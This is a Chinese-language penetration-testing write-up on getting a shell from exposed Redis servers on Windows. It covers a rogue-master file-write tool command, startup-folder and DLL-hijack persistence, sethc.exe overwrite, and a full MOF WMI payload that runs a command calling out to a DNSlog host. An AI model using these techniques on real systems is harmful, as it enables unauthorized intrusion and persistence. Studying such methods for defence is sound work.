Author:Hunter@深蓝攻防实验室
曾经无数次遇到未授权或弱口令的Redis都会欣喜若狂,基本上可以说未授权约等于getshell。但近期的几次比赛中却遇到了Windows上的Redis...
说到Linux上的Redis,getshell的路子无非两类:一类是直接写入文件,可以是webshell也可以是计划任务,亦或是ssh公钥;另一种是Redis4.x、5.x上的主从getshell,这比写东西来的更直接方便。
到了Windows上,事情变得难搞了。首先,Windows的启动项和计划任务并不是以文本形式保存在固定位置的,因此这条路行不通;Web目录写马条件又比较苛刻,首先这台机器上要有Web,其次还要有机会泄露Web的绝对路径;而Windows的Redis最新版本还停留在3.2,利用主从漏洞直接getshell也没戏了。
查遍了网上现有的文章发现所有的方法都有局限性,但也不妨做个整理或尝试一下其他途径,在不同的场景下说不准哪一种就可以利用呢?
在生产环境中,直接通过Redis写文件很可能会携带脏数据,由于Windows环境对Redis的getshell并不友好,很多操作并不是直接getshell,可能需要利用Redis写入二进制文件、快捷方式等,那么这个时候写入无损文件就非常重要了。
这里推荐一款工具——RedisWriteFile。其原理是利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,这里master的数据空间是可以保证绝对干净的,因此就轻松实现了写无损文件了。
命令格式如下:
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
给出该工具的下载地址:RedisWriteFile
在我们的服务器中运行该脚本(目标Redis一定要能回连我们的服务器才行):
Redis服务器中显示其被设置为slave,同步数据并写入文件:
从上面的描述以及测试可以确定,目前我们有一个Redis用户权限进行任意写,因此问题也就等价于:在Windows中如何通过新建/覆盖文件达到执行任意命令的效果。
如果碰到Redis的机器上有Web,并且可以泄露其绝对路径的话那真是撞大运了,直接写Webshell即可。
这也是网上各种“教程”中最常提到的方法。有些文章中玩出了花样,有用ps脚本的、远程加载ps脚本的、下载到本地执行的......但其实终究还是没有脱离启动项这个trigger。可以参考这篇文章,利用白名单程序比直接写exe马要更隐蔽
和Linux不太相同,Windows的自启动有几类:系统服务、计划任务、注册表启动项、用户的startup目录。其中前三种是无法通过单纯向某目录中写文件实现精准篡改的,因此只有startup目录可以利用。
startup的绝对路径如下:
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
虽然想知道用户名并不容易,但把常用的用户名挨个跑一遍,万一就成功了呢?
如果目录不存在,写操作会失败,报错信息如下:
若目录存在,但没有权限写入,报错信息如下:
若目录存在,且写文件成功,如下:
这里其实是在赌一件事情:管理员将Redis添加了服务项并配了一个高权限(如Administrator甚至SYSTEM),这样的话默认账户的路径就一定可写了。
当然,启动项写进去了,还要让主机重启才可以生效,如果没有BDoS类的漏洞也就只能被动等待,这是比较尴尬的。
这里主要指的是通过写文件覆盖已有的文件或劫持DLL以达到欺骗的目的,虽然还是被动等待上线,但概率明显要比等机器重启要高得多。
方法包括但不限于如下:
系统DLL劫持(需要目标重启或注销)
针对特定软件的DLL劫持(需要知道软件的绝对路径,需要目标一次点击)
覆写目标的快捷方式(需要知道用户名,需要目标一次点击)
覆写特定软件的配置文件达到提权目的(目标无需点击或一次点击,主要看是什么软件)
覆写sethc.exe粘滞键(需要可以登录3389)
#上面涉及系统目录的操作,前提是Redis权限很高,不然没戏。
比较通用的方法是向system32目录下写文件,但NT6及以上操作系统的UAC必须关掉,或Redis以SYSTEM权限启动,否则脚本显示成功但实际上是无法写入的。
关掉UAC后,测试证明普通管理员可成功写入:
但经过测试这种方法确实有写入的可能,但并不能覆盖原来的文件,还是非常被动。倒不如写个快捷方式马(当然前提还是知道用户名,不然效果也不好):
如果目标机器是03那就比较幸运了,不用再被动等待人为操作了。
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:C:/windows/system32/wbem/mof/nullevt.mof,其作用是每隔五秒就会去监控进程创建和死亡。但这个默认5秒执行一次的设定只有03及以下系统才会有......
例如如下脚本执行时会执行系统命令:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping sfas.g9bubn.ceye.io \")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
将其保存为nullevt.mof并写入C:/windows/system32/wbem/mof路径下,而且由于03没有默认UAC的控制,只要权限够就可以直接写入。
写入后几秒钟脚本就会执行,执行成功会放在good文件夹,失败放在bad文件夹。:
再看DNSlog,收到请求:
总体来说目前Windows的Redis getshell还没有发现直来直去一招通杀的方式。当然这主要是由于Windows自身特性以及Redis不(出)更(新)新(洞)的缘故。
但就像没有Redis4.x-5.x主从RCE之前的Linux环境一样,碰到了Redis即使知道有一定可能没权限写入,但还是要把最基础的试它一试,最起码常见的用户名目录要尝试写一写,mof尝试写一写,万一就成了呢?
运气也是实力的一部分,什么都觉得不可能,什么都不做,那就什么都不会有。